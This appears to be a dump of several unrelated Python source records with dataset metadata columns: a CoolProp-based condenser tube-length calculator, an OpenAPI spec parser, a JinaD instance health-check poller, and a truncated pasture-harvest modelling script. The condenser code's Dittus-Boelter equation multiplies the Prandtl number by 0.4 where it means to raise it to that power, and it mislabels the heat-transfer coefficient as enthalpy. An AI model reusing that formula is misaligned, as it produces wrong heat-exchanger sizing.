def iterator(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant):
'''
This function iterates until the temperature difference
converge with 1% error
'''
Dt, L_tube, Pcond = Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
tolerance = 0.01
max_iter = 1000
counter = 0
while counter < max_iter:
if abs(Dt-delta_T) > tolerance:
counter += 1
delta_T = Dt
Dt, L_tube, Pcond = Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
else:
break
return Pcond, L_tube, Dt
P = [] #List for Pressure
L = [] #List for Tube Lengths
DT =[] #list for temperature difference
for t in T:
p, l, dt= iterator(Tevap, t, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
P.append(p)
L.append(l)
DT.append(dt)
title = refrigerant+' Condenser Pressure vs Condenser Tube Length' #Plot title
data = {'Condenser Temperature (C)':T, 'Condenser Pressure (kPa)':P, 'Condenser Tube Length (m)':L, 'Temperature Difference':DT}
df = pd.DataFrame(data)
# Exporting data to csv file
filename = refrigerant + ' Tube Length Data.csv' #CSV file name
df.to_csv(filename, index=False)
# Plotting the data
plt.plot(L,P)
plt.xlabel('Condenser Tube Length (m)')
plt.ylabel('Condenser Pressure (kPa)')
plt.title(title)
plt.show()
| import CoolProp.CoolProp as CP
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Constant Parameters
RC = 80 #kW
Tevap = 5 #Degree Celsius
Tcond = 45 #Degree Celsius
Twi = 30 #Water inlet temp; Degree Celsius
Twe = 35 #Water outlet temp; Degree Celsius
Do = 0.016 #Pipe outer diameter; m
Di = 0.014 #Pipe inner diameter; m
HRR = 1.27 #Heat Rejection Ratio; Qcond/Qevap
k_pipe = 390 #Thermal conductivity of copper; J/mK
N = 42 #number of pipes
Pass = 2 #number of pass
refrigerant = 'R134a' #refrigerant
V_flow = 13 #Number of vertical flow
# Iteration Variable
delta_T = 5 #Assumed delta T
T_array = np.arange(35.01,45.01,0.01) #Array of Condenser Temperature
T = np.flip(T_array) #Flipped Condenser Array
def Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant):
'''
This function computes the actual temperature difference and
the condenser tube length given condenser temperature as input
Parameters:
Tevap - Evaporator Temperature
Tcond - Condenser Temperature
Twi - Water inlet Temperature
Twe - Water outlet Temperature
Do - Pipe outer diameter
Di - Pipe inner diameter
HRR - Heat Rejection Ratio
k_pipe - Pipe thermal conductivity
N - Number of pipes
Pass - Number of Bends + 1
V_flow - Number of fluid flow perpendicular to pipe
delta_T - Temperature Difference
refrigerant - Name of the Refrigerant
Return:
delta_T_prime - Converged Temperature Difference
L_tube - Condenser Tube Length
Pcond - Condenser Pressure
'''
# Refrigerant Side
Tcond_K = Tcond +273.15 #Kelvin
Pcond = CP.PropsSI('P','T',Tcond_K,'Q',0,refrigerant)/1000 #@Tcond and Q=0; kPa
N_effective = (N/V_flow)
k_ref = CP.PropsSI('CONDUCTIVITY','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
rho_ref = CP.PropsSI('D','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
hfg = CP.PropsSI('H','T',Tcond_K,'Q',1,refrigerant) - CP.PropsSI('H','T',Tcond_K,'Q',0,refrigerant) #J/kg
mu_ref = CP.PropsSI('V','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
Numerator = (k_ref**3)*(rho_ref**2)*9.81*hfg
Denominator = (N_effective*mu_ref*delta_T*Do)
h_refrigerant = 0.725*((Numerator/Denominator)**0.25)
# Conduction in pipe
delta_x = (Do-Di)/2
h_pipe = delta_x/k_pipe
# Fouling Factor
h_fouling = 0.000176
# Convection in Water
T_bulkmean = (Twi+Twe)/2 #Degree Celsius
T_bulkmean_K = T_bulkmean + 273.15 #Kelvin
P_water = 101325 #Pascal
Cp_water = CP.PropsSI('C','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
k_water = CP.PropsSI('CONDUCTIVITY','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
mu_water = CP.PropsSI('V','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
rho_water = CP.PropsSI('D','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
Q_cond = HRR*RC*1000 #Heat Rejection
m_water = Q_cond/(Cp_water*(Twe-Twi)) #Total mass flow rate
m_pipe = m_water/(N/Pass) #mass flow per pipe
U = m_pipe/(rho_water*(np.pi*(Di**2)*0.25)) #Flow rate/ Flow velocity
h_water = Dittus_Boelter(Di,k_water,U,rho_water,mu_water,Cp_water) #Enthalpy Water
# Heat calculation
R_refrigerant = 1/(h_refrigerant*np.pi*Do) #Thermal Resistance for Refrigerant; 1/(hA)
R_pipe = (h_pipe)/(np.pi*(0.5*(Do+Di))) #Thermal Resistance for Pipe; delta x/(kA)
R_fouling = h_fouling/(np.pi*Di) #Thermal Resistance for Fouling Factor; 1/(hA)
R_water = 1/(h_water*np.pi*Di) #Thermal Resistance for Water; 1/(hA)
R_total = R_refrigerant+R_pipe+R_fouling+R_water #Totla Thermal Resistance
LMTD = ((Tcond-Twe)-(Tcond-Twi))/np.log((Tcond-Twe)/(Tcond-Twi)) #Log Mean Temperature Difference
L_total = (Q_cond*R_total)/LMTD #Total condenser length
L_tube = L_total/N #Length per tube
delta_T_prime = Q_cond/(h_refrigerant*np.pi*Do*L_tube*N) #New delta T
# print to debug
'''
print(f'h refrigerant: {h_refrigerant}')
print(f'h pipe: {h_pipe}')
print(f'h fouling: {h_fouling}')
print(f'h water: {h_water}')
print(f'mass flow: {m_water}')
print(f'Delta T: {delta_T_prime}')
print(f'Total Length: {L_total}')
print(f'Length per tube: {L_tube}\n')
'''
return delta_T_prime, L_tube, Pcond
def Dittus_Boelter(Di,k_water,U,rho,mu_water,Cp_water):
'''
This is the Dittus-Boelter Equation used to relate water enthalpy
Nu = K*(Re**m)*(Pr**n)
Parameters:
Di - Pipe inner diameter
k_water - Fluid thermal conductivity
U - Fluid flow rate
rho - Fluid Density
mu_water - Fluid viscosity
Cp_water - Constant pressure specific heat
Return:
h_water - Fluid enthalpy'''
Re = (Di*U*rho/mu_water) #Reynold's Number
Pr = ((Cp_water*mu_water)/k_water) #Prandlt Number
Nu = 0.023*((Re**0.8)*(Pr*0.4)) #Nusselt Number
return (k_water*Nu)/Di
def iterator(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant):
'''
This function iterates until the temperature difference
converge with 1% error
'''
Dt, L_tube, Pcond = Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
tolerance = 0.01
max_iter = 1000
counter = 0
while counter < max_iter:
if abs(Dt-delta_T) > tolerance:
counter += 1
delta_T = Dt
Dt, L_tube, Pcond = Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
else:
break
return Pcond, L_tube, Dt
P = [] #List for Pressure
L = [] #List for Tube Lengths
DT =[] #list for temperature difference
for t in T:
p, l, dt= iterator(Tevap, t, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant)
P.append(p)
L.append(l)
DT.append(dt)
title = refrigerant+' Condenser Pressure vs Condenser Tube Length' #Plot title
data = {'Condenser Temperature (C)':T, 'Condenser Pressure (kPa)':P, 'Condenser Tube Length (m)':L, 'Temperature Difference':DT}
df = pd.DataFrame(data)
# Exporting data to csv file
filename = refrigerant + ' Tube Length Data.csv' #CSV file name
df.to_csv(filename, index=False)
# Plotting the data
plt.plot(L,P)
plt.xlabel('Condenser Tube Length (m)')
plt.ylabel('Condenser Pressure (kPa)')
plt.title(title)
plt.show()
| en | 0.583195 | # Constant Parameters #kW #Degree Celsius #Degree Celsius #Water inlet temp; Degree Celsius #Water outlet temp; Degree Celsius #Pipe outer diameter; m #Pipe inner diameter; m #Heat Rejection Ratio; Qcond/Qevap #Thermal conductivity of copper; J/mK #number of pipes #number of pass #refrigerant #Number of vertical flow # Iteration Variable #Assumed delta T #Array of Condenser Temperature #Flipped Condenser Array This function computes the actual temperature difference and
the condenser tube length given condenser temperature as input
Parameters:
Tevap - Evaporator Temperature
Tcond - Condenser Temperature
Twi - Water inlet Temperature
Twe - Water outlet Temperature
Do - Pipe outer diameter
Di - Pipe inner diameter
HRR - Heat Rejection Ratio
k_pipe - Pipe thermal conductivity
N - Number of pipes
Pass - Number of Bends + 1
V_flow - Number of fluid flow perpendicular to pipe
delta_T - Temperature Difference
refrigerant - Name of the Refrigerant
Return:
delta_T_prime - Converged Temperature Difference
L_tube - Condenser Tube Length
Pcond - Condenser Pressure # Refrigerant Side #Kelvin #@Tcond and Q=0; kPa #@Tcond and Q=0 #@Tcond and Q=0 #J/kg #@Tcond and Q=0 # Conduction in pipe # Fouling Factor # Convection in Water #Degree Celsius #Kelvin #Pascal #@Tbulkmean and P water #@Tbulkmean and P water #@Tbulkmean and P water #@Tbulkmean and P water #Heat Rejection #Total mass flow rate #mass flow per pipe #Flow rate/ Flow velocity #Enthalpy Water # Heat calculation #Thermal Resistance for Refrigerant; 1/(hA) #Thermal Resistance for Pipe; delta x/(kA) #Thermal Resistance for Fouling Factor; 1/(hA) #Thermal Resistance for Water; 1/(hA) #Totla Thermal Resistance #Log Mean Temperature Difference #Total condenser length #Length per tube #New delta T # print to debug print(f'h refrigerant: {h_refrigerant}')
print(f'h pipe: {h_pipe}')
print(f'h fouling: {h_fouling}')
print(f'h water: {h_water}')
print(f'mass flow: {m_water}')
print(f'Delta T: {delta_T_prime}')
print(f'Total Length: {L_total}')
print(f'Length per tube: {L_tube}\n') This is the Dittus-Boelter Equation used to relate water enthalpy
Nu = K*(Re**m)*(Pr**n)
Parameters:
Di - Pipe inner diameter
k_water - Fluid thermal conductivity
U - Fluid flow rate
rho - Fluid Density
mu_water - Fluid viscosity
Cp_water - Constant pressure specific heat
Return:
h_water - Fluid enthalpy #Reynold's Number #Prandlt Number #Nusselt Number This function iterates until the temperature difference
converge with 1% error #List for Pressure #List for Tube Lengths #list for temperature difference #Plot title # Exporting data to csv file #CSV file name # Plotting the data | 3.236319 | 3 |
openapi_python_client/openapi_parser/openapi.py | acgray/openapi-python-client | 0 | 6623587 | from __future__ import annotations
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Dict, Generator, Iterable, List, Optional, Set
from .errors import ParseError
from .properties import EnumProperty, ListProperty, Property, property_from_dict
from .reference import Reference
from .responses import ListRefResponse, RefResponse, Response, response_from_dict
class ParameterLocation(str, Enum):
""" The places Parameters can be put when calling an Endpoint """
QUERY = "query"
PATH = "path"
def import_string_from_reference(reference: Reference, prefix: str = "") -> str:
""" Create a string which is used to import a reference """
return f"from {prefix}.{reference.module_name} import {reference.class_name}"
@dataclass
class EndpointCollection:
""" A bunch of endpoints grouped under a tag that will become a module """
tag: str
endpoints: List[Endpoint] = field(default_factory=list)
relative_imports: Set[str] = field(default_factory=set)
parse_errors: List[ParseError] = field(default_factory=list)
@staticmethod
def from_dict(d: Dict[str, Dict[str, Dict[str, Any]]]) -> Dict[str, EndpointCollection]:
""" Parse the openapi paths data to get EndpointCollections by tag """
endpoints_by_tag: Dict[str, EndpointCollection] = {}
for path, path_data in d.items():
for method, method_data in path_data.items():
tag = method_data.get("tags", ["default"])[0]
collection = endpoints_by_tag.setdefault(tag, EndpointCollection(tag=tag))
try:
endpoint = Endpoint.from_data(data=method_data, path=path, method=method, tag=tag)
collection.endpoints.append(endpoint)
collection.relative_imports.update(endpoint.relative_imports)
except ParseError as e:
e.header = f"ERROR parsing {method.upper()} {path} within {tag}. Endpoint will not be generated."
collection.parse_errors.append(e)
return endpoints_by_tag
@dataclass
class Endpoint:
"""
Describes a single endpoint on the server
"""
path: str
method: str
description: Optional[str]
name: str
requires_security: bool
tag: str
relative_imports: Set[str] = field(default_factory=set)
query_parameters: List[Property] = field(default_factory=list)
path_parameters: List[Property] = field(default_factory=list)
responses: List[Response] = field(default_factory=list)
form_body_reference: Optional[Reference] = None
json_body: Optional[Property] = None
multipart_body_reference: Optional[Reference] = None
@staticmethod
def parse_request_form_body(body: Dict[str, Any]) -> Optional[Reference]:
""" Return form_body_reference """
body_content = body["content"]
form_body = body_content.get("application/x-www-form-urlencoded")
if form_body:
return Reference.from_ref(form_body["schema"]["$ref"])
return None
@staticmethod
def parse_multipart_body(body: Dict[str, Any]) -> Optional[Reference]:
""" Return form_body_reference """
body_content = body["content"]
body = body_content.get("multipart/form-data")
if body:
return Reference.from_ref(body["schema"]["$ref"])
return None
@staticmethod
def parse_request_json_body(body: Dict[str, Any]) -> Optional[Property]:
""" Return json_body """
body_content = body["content"]
json_body = body_content.get("application/json")
if json_body:
return property_from_dict("json_body", required=True, data=json_body["schema"])
return None
def _add_body(self, data: Dict[str, Any]) -> None:
""" Adds form or JSON body to Endpoint if included in data """
if "requestBody" not in data:
return
self.form_body_reference = Endpoint.parse_request_form_body(data["requestBody"])
self.json_body = Endpoint.parse_request_json_body(data["requestBody"])
self.multipart_body_reference = Endpoint.parse_multipart_body(data["requestBody"])
if self.form_body_reference:
self.relative_imports.add(import_string_from_reference(self.form_body_reference, prefix="..models"))
if self.multipart_body_reference:
self.relative_imports.add(import_string_from_reference(self.multipart_body_reference, prefix="..models"))
if self.json_body is not None:
self.relative_imports.update(self.json_body.get_imports(prefix="..models"))
def _add_responses(self, data: Dict[str, Any]) -> None:
for code, response_dict in data["responses"].items():
response = response_from_dict(status_code=int(code), data=response_dict)
if isinstance(response, (RefResponse, ListRefResponse)):
self.relative_imports.add(import_string_from_reference(response.reference, prefix="..models"))
self.responses.append(response)
def _add_parameters(self, data: Dict[str, Any]) -> None:
for param_dict in data.get("parameters", []):
prop = property_from_dict(
name=param_dict["name"], required=param_dict["required"], data=param_dict["schema"]
)
self.relative_imports.update(prop.get_imports(prefix="..models"))
if param_dict["in"] == ParameterLocation.QUERY:
self.query_parameters.append(prop)
elif param_dict["in"] == ParameterLocation.PATH:
self.path_parameters.append(prop)
else:
raise ValueError(f"Don't know where to put this parameter: {param_dict}")
@staticmethod
def from_data(*, data: Dict[str, Any], path: str, method: str, tag: str) -> Endpoint:
""" Construct an endpoint from the OpenAPI data """
endpoint = Endpoint(
path=path,
method=method,
description=data.get("description"),
name=data["operationId"],
requires_security=bool(data.get("security")),
tag=tag,
)
endpoint._add_parameters(data)
endpoint._add_responses(data)
endpoint._add_body(data)
return endpoint
@dataclass
class Schema:
"""
Describes a schema, AKA data model used in requests.
These will all be converted to dataclasses in the client
"""
reference: Reference
required_properties: List[Property]
optional_properties: List[Property]
description: str
relative_imports: Set[str]
@staticmethod
def from_dict(d: Dict[str, Any], name: str) -> Schema:
""" A single Schema from its dict representation
:param d: Dict representation of the schema
:param name: Name by which the schema is referenced, such as a model name. Used to infer the type name if a `title` property is not available.
"""
required_set = set(d.get("required", []))
required_properties: List[Property] = []
optional_properties: List[Property] = []
relative_imports: Set[str] = set()
ref = Reference.from_ref(d.get("title", name))
for key, value in d.get("properties", {}).items():
required = key in required_set
p = property_from_dict(name=key, required=required, data=value)
if required:
required_properties.append(p)
else:
optional_properties.append(p)
relative_imports.update(p.get_imports(prefix=""))
schema = Schema(
reference=ref,
required_properties=required_properties,
optional_properties=optional_properties,
relative_imports=relative_imports,
description=d.get("description", ""),
)
return schema
@staticmethod
def dict(d: Dict[str, Dict[str, Any]]) -> Dict[str, Schema]:
""" Get a list of Schemas from an OpenAPI dict """
result = {}
for name, data in d.items():
s = Schema.from_dict(data, name=name)
result[s.reference.class_name] = s
return result
@dataclass
class OpenAPI:
""" Top level OpenAPI document """
title: str
description: Optional[str]
version: str
schemas: Dict[str, Schema]
endpoint_collections_by_tag: Dict[str, EndpointCollection]
enums: Dict[str, EnumProperty]
@staticmethod
def from_dict(d: Dict[str, Dict[str, Any]]) -> OpenAPI:
""" Create an OpenAPI from dict """
schemas = Schema.dict(d["components"]["schemas"])
endpoint_collections_by_tag = EndpointCollection.from_dict(d["paths"])
enums = EnumProperty.get_all_enums()
return OpenAPI(
title=d["info"]["title"],
description=d["info"].get("description"),
version=d["info"]["version"],
endpoint_collections_by_tag=endpoint_collections_by_tag,
schemas=schemas,
enums=enums,
)
| from __future__ import annotations
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Dict, Generator, Iterable, List, Optional, Set
from .errors import ParseError
from .properties import EnumProperty, ListProperty, Property, property_from_dict
from .reference import Reference
from .responses import ListRefResponse, RefResponse, Response, response_from_dict
class ParameterLocation(str, Enum):
""" The places Parameters can be put when calling an Endpoint """
QUERY = "query"
PATH = "path"
def import_string_from_reference(reference: Reference, prefix: str = "") -> str:
""" Create a string which is used to import a reference """
return f"from {prefix}.{reference.module_name} import {reference.class_name}"
@dataclass
class EndpointCollection:
""" A bunch of endpoints grouped under a tag that will become a module """
tag: str
endpoints: List[Endpoint] = field(default_factory=list)
relative_imports: Set[str] = field(default_factory=set)
parse_errors: List[ParseError] = field(default_factory=list)
@staticmethod
def from_dict(d: Dict[str, Dict[str, Dict[str, Any]]]) -> Dict[str, EndpointCollection]:
""" Parse the openapi paths data to get EndpointCollections by tag """
endpoints_by_tag: Dict[str, EndpointCollection] = {}
for path, path_data in d.items():
for method, method_data in path_data.items():
tag = method_data.get("tags", ["default"])[0]
collection = endpoints_by_tag.setdefault(tag, EndpointCollection(tag=tag))
try:
endpoint = Endpoint.from_data(data=method_data, path=path, method=method, tag=tag)
collection.endpoints.append(endpoint)
collection.relative_imports.update(endpoint.relative_imports)
except ParseError as e:
e.header = f"ERROR parsing {method.upper()} {path} within {tag}. Endpoint will not be generated."
collection.parse_errors.append(e)
return endpoints_by_tag
@dataclass
class Endpoint:
"""
Describes a single endpoint on the server
"""
path: str
method: str
description: Optional[str]
name: str
requires_security: bool
tag: str
relative_imports: Set[str] = field(default_factory=set)
query_parameters: List[Property] = field(default_factory=list)
path_parameters: List[Property] = field(default_factory=list)
responses: List[Response] = field(default_factory=list)
form_body_reference: Optional[Reference] = None
json_body: Optional[Property] = None
multipart_body_reference: Optional[Reference] = None
@staticmethod
def parse_request_form_body(body: Dict[str, Any]) -> Optional[Reference]:
""" Return form_body_reference """
body_content = body["content"]
form_body = body_content.get("application/x-www-form-urlencoded")
if form_body:
return Reference.from_ref(form_body["schema"]["$ref"])
return None
@staticmethod
def parse_multipart_body(body: Dict[str, Any]) -> Optional[Reference]:
""" Return form_body_reference """
body_content = body["content"]
body = body_content.get("multipart/form-data")
if body:
return Reference.from_ref(body["schema"]["$ref"])
return None
@staticmethod
def parse_request_json_body(body: Dict[str, Any]) -> Optional[Property]:
""" Return json_body """
body_content = body["content"]
json_body = body_content.get("application/json")
if json_body:
return property_from_dict("json_body", required=True, data=json_body["schema"])
return None
def _add_body(self, data: Dict[str, Any]) -> None:
""" Adds form or JSON body to Endpoint if included in data """
if "requestBody" not in data:
return
self.form_body_reference = Endpoint.parse_request_form_body(data["requestBody"])
self.json_body = Endpoint.parse_request_json_body(data["requestBody"])
self.multipart_body_reference = Endpoint.parse_multipart_body(data["requestBody"])
if self.form_body_reference:
self.relative_imports.add(import_string_from_reference(self.form_body_reference, prefix="..models"))
if self.multipart_body_reference:
self.relative_imports.add(import_string_from_reference(self.multipart_body_reference, prefix="..models"))
if self.json_body is not None:
self.relative_imports.update(self.json_body.get_imports(prefix="..models"))
def _add_responses(self, data: Dict[str, Any]) -> None:
for code, response_dict in data["responses"].items():
response = response_from_dict(status_code=int(code), data=response_dict)
if isinstance(response, (RefResponse, ListRefResponse)):
self.relative_imports.add(import_string_from_reference(response.reference, prefix="..models"))
self.responses.append(response)
def _add_parameters(self, data: Dict[str, Any]) -> None:
for param_dict in data.get("parameters", []):
prop = property_from_dict(
name=param_dict["name"], required=param_dict["required"], data=param_dict["schema"]
)
self.relative_imports.update(prop.get_imports(prefix="..models"))
if param_dict["in"] == ParameterLocation.QUERY:
self.query_parameters.append(prop)
elif param_dict["in"] == ParameterLocation.PATH:
self.path_parameters.append(prop)
else:
raise ValueError(f"Don't know where to put this parameter: {param_dict}")
@staticmethod
def from_data(*, data: Dict[str, Any], path: str, method: str, tag: str) -> Endpoint:
""" Construct an endpoint from the OpenAPI data """
endpoint = Endpoint(
path=path,
method=method,
description=data.get("description"),
name=data["operationId"],
requires_security=bool(data.get("security")),
tag=tag,
)
endpoint._add_parameters(data)
endpoint._add_responses(data)
endpoint._add_body(data)
return endpoint
@dataclass
class Schema:
"""
Describes a schema, AKA data model used in requests.
These will all be converted to dataclasses in the client
"""
reference: Reference
required_properties: List[Property]
optional_properties: List[Property]
description: str
relative_imports: Set[str]
@staticmethod
def from_dict(d: Dict[str, Any], name: str) -> Schema:
""" A single Schema from its dict representation
:param d: Dict representation of the schema
:param name: Name by which the schema is referenced, such as a model name. Used to infer the type name if a `title` property is not available.
"""
required_set = set(d.get("required", []))
required_properties: List[Property] = []
optional_properties: List[Property] = []
relative_imports: Set[str] = set()
ref = Reference.from_ref(d.get("title", name))
for key, value in d.get("properties", {}).items():
required = key in required_set
p = property_from_dict(name=key, required=required, data=value)
if required:
required_properties.append(p)
else:
optional_properties.append(p)
relative_imports.update(p.get_imports(prefix=""))
schema = Schema(
reference=ref,
required_properties=required_properties,
optional_properties=optional_properties,
relative_imports=relative_imports,
description=d.get("description", ""),
)
return schema
@staticmethod
def dict(d: Dict[str, Dict[str, Any]]) -> Dict[str, Schema]:
""" Get a list of Schemas from an OpenAPI dict """
result = {}
for name, data in d.items():
s = Schema.from_dict(data, name=name)
result[s.reference.class_name] = s
return result
@dataclass
class OpenAPI:
""" Top level OpenAPI document """
title: str
description: Optional[str]
version: str
schemas: Dict[str, Schema]
endpoint_collections_by_tag: Dict[str, EndpointCollection]
enums: Dict[str, EnumProperty]
@staticmethod
def from_dict(d: Dict[str, Dict[str, Any]]) -> OpenAPI:
""" Create an OpenAPI from dict """
schemas = Schema.dict(d["components"]["schemas"])
endpoint_collections_by_tag = EndpointCollection.from_dict(d["paths"])
enums = EnumProperty.get_all_enums()
return OpenAPI(
title=d["info"]["title"],
description=d["info"].get("description"),
version=d["info"]["version"],
endpoint_collections_by_tag=endpoint_collections_by_tag,
schemas=schemas,
enums=enums,
)
| en | 0.795454 | The places Parameters can be put when calling an Endpoint Create a string which is used to import a reference A bunch of endpoints grouped under a tag that will become a module Parse the openapi paths data to get EndpointCollections by tag Describes a single endpoint on the server Return form_body_reference Return form_body_reference Return json_body Adds form or JSON body to Endpoint if included in data Construct an endpoint from the OpenAPI data Describes a schema, AKA data model used in requests. These will all be converted to dataclasses in the client A single Schema from its dict representation :param d: Dict representation of the schema :param name: Name by which the schema is referenced, such as a model name. Used to infer the type name if a `title` property is not available. Get a list of Schemas from an OpenAPI dict Top level OpenAPI document Create an OpenAPI from dict | 2.527715 | 3 |
distributed/scripts/instances_validator.py | jina-ai/stress-test | 4 | 6623588 | <gh_stars>1-10
import sys
import time
import requests
import yaml
try:
with open('_instances.yaml') as f:
e2e_ip_dict = yaml.safe_load(f)
except FileNotFoundError:
raise Exception('Please make sure the previous step has created the instances.yaml file')
total_time_to_wait = 120
init_time = time.time()
check_until = init_time + total_time_to_wait
e2e_ip_validate = {}
for instance_name in e2e_ip_dict.copy().keys():
if 'client' in instance_name.lower():
e2e_ip_dict.pop(instance_name)
while time.time() < check_until and sum(e2e_ip_validate.values()) != len(e2e_ip_dict):
print(f'Sleeping for 2 secs')
time.sleep(2)
for instance_name, ip in e2e_ip_dict.items():
try:
e2e_ip_validate[ip] = True \
if requests.get(f'http://{ip}:8000', timeout=5).status_code == requests.codes.ok \
else False
except requests.ConnectionError:
print(f'Timeout for {instance_name}:{ip}')
e2e_ip_validate[ip] = False
print(f'Current status: {e2e_ip_validate}, sleeping for a second!')
time.sleep(1)
if time.time() > check_until:
print(f'Tried to connect to all jinad instances for {total_time_to_wait} secs, timing out now.')
sys.exit(1)
else:
print(f'Hurray! Successfully connected to all JinaD instances. Took ~{time.time() - init_time:.0f} secs')
| import sys
import time
import requests
import yaml
try:
with open('_instances.yaml') as f:
e2e_ip_dict = yaml.safe_load(f)
except FileNotFoundError:
raise Exception('Please make sure the previous step has created the instances.yaml file')
total_time_to_wait = 120
init_time = time.time()
check_until = init_time + total_time_to_wait
e2e_ip_validate = {}
for instance_name in e2e_ip_dict.copy().keys():
if 'client' in instance_name.lower():
e2e_ip_dict.pop(instance_name)
while time.time() < check_until and sum(e2e_ip_validate.values()) != len(e2e_ip_dict):
print(f'Sleeping for 2 secs')
time.sleep(2)
for instance_name, ip in e2e_ip_dict.items():
try:
e2e_ip_validate[ip] = True \
if requests.get(f'http://{ip}:8000', timeout=5).status_code == requests.codes.ok \
else False
except requests.ConnectionError:
print(f'Timeout for {instance_name}:{ip}')
e2e_ip_validate[ip] = False
print(f'Current status: {e2e_ip_validate}, sleeping for a second!')
time.sleep(1)
if time.time() > check_until:
print(f'Tried to connect to all jinad instances for {total_time_to_wait} secs, timing out now.')
sys.exit(1)
else:
print(f'Hurray! Successfully connected to all JinaD instances. Took ~{time.time() - init_time:.0f} secs') | none | 1 | 2.582436 | 3 | |
Pasture_Growth_Modelling/initialisation_support/explore_harvest_parameters.py | Komanawa-Solutions-Ltd/SLMACC-2020-CSRA | 0 | 6623589 | """
Author: <NAME>
Created: 23/11/2020 11:02 AM
"""
import ksl_env
import pandas as pd
import numpy as np
import os
# add basgra nz functions
ksl_env.add_basgra_nz_path()
from check_basgra_python.support_for_tests import get_lincoln_broadfield, get_woodward_weather, _clean_harvest
from basgra_python import run_basgra_nz
from check_basgra_python.support_for_tests import establish_org_input
from supporting_functions.plotting import plot_multiple_results
def run_old_basgra():
params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln')
days_harvest = _clean_harvest(days_harvest, matrix_weather)
out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False)
return out
def run_frequent_harvest(freq, trig, targ):
params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln')
strs = ['{}-{:03d}'.format(e, f) for e, f in matrix_weather[['year', 'doy']].itertuples(False, None)]
days_harvest = pd.DataFrame({'year': matrix_weather.loc[:, 'year'],
'doy': matrix_weather.loc[:, 'doy'],
'frac_harv': np.ones(len(matrix_weather)), # set filler values
'harv_trig': np.zeros(len(matrix_weather)) - 1, # set flag to not harvest
'harv_targ': np.zeros(len(matrix_weather)), # set filler values
'weed_dm_frac': np.zeros(len(matrix_weather)), # set filler values
})
# start harvesting at the same point
harv_days = pd.date_range(start='2011-09-03', end='2017-04-30', freq='{}D'.format(freq))
idx = np.in1d(pd.to_datetime(strs, format='%Y-%j'), harv_days)
days_harvest.loc[idx, 'harv_trig'] = trig
days_harvest.loc[idx, 'harv_targ'] = targ
out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False)
return out
if __name__ == '__main__':
outdir = ksl_env.shared_drives(r"Z2003_SLMACC\pasture_growth_modelling\basgra_harvest_tuning\irr_harv_testing")
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 10, 10]
trigs = [1501, 1600, 1700]
targs = [1500, 1500, 1500]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'], outdir=os.path.join(outdir, 'trig_vary'))
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 20, 30]
trigs = [1501, 1501, 1501]
targs = [1500, 1500, 1500]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'],outdir=os.path.join(outdir, 'freq_vary'))
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 10, 10]
trigs = [1301, 1501, 1801]
targs = [1300, 1500, 1800]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'], outdir=os.path.join(outdir, 'trag_vary'))
| """
Author: <NAME>
Created: 23/11/2020 11:02 AM
"""
import ksl_env
import pandas as pd
import numpy as np
import os
# add basgra nz functions
ksl_env.add_basgra_nz_path()
from check_basgra_python.support_for_tests import get_lincoln_broadfield, get_woodward_weather, _clean_harvest
from basgra_python import run_basgra_nz
from check_basgra_python.support_for_tests import establish_org_input
from supporting_functions.plotting import plot_multiple_results
def run_old_basgra():
params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln')
days_harvest = _clean_harvest(days_harvest, matrix_weather)
out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False)
return out
def run_frequent_harvest(freq, trig, targ):
params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln')
strs = ['{}-{:03d}'.format(e, f) for e, f in matrix_weather[['year', 'doy']].itertuples(False, None)]
days_harvest = pd.DataFrame({'year': matrix_weather.loc[:, 'year'],
'doy': matrix_weather.loc[:, 'doy'],
'frac_harv': np.ones(len(matrix_weather)), # set filler values
'harv_trig': np.zeros(len(matrix_weather)) - 1, # set flag to not harvest
'harv_targ': np.zeros(len(matrix_weather)), # set filler values
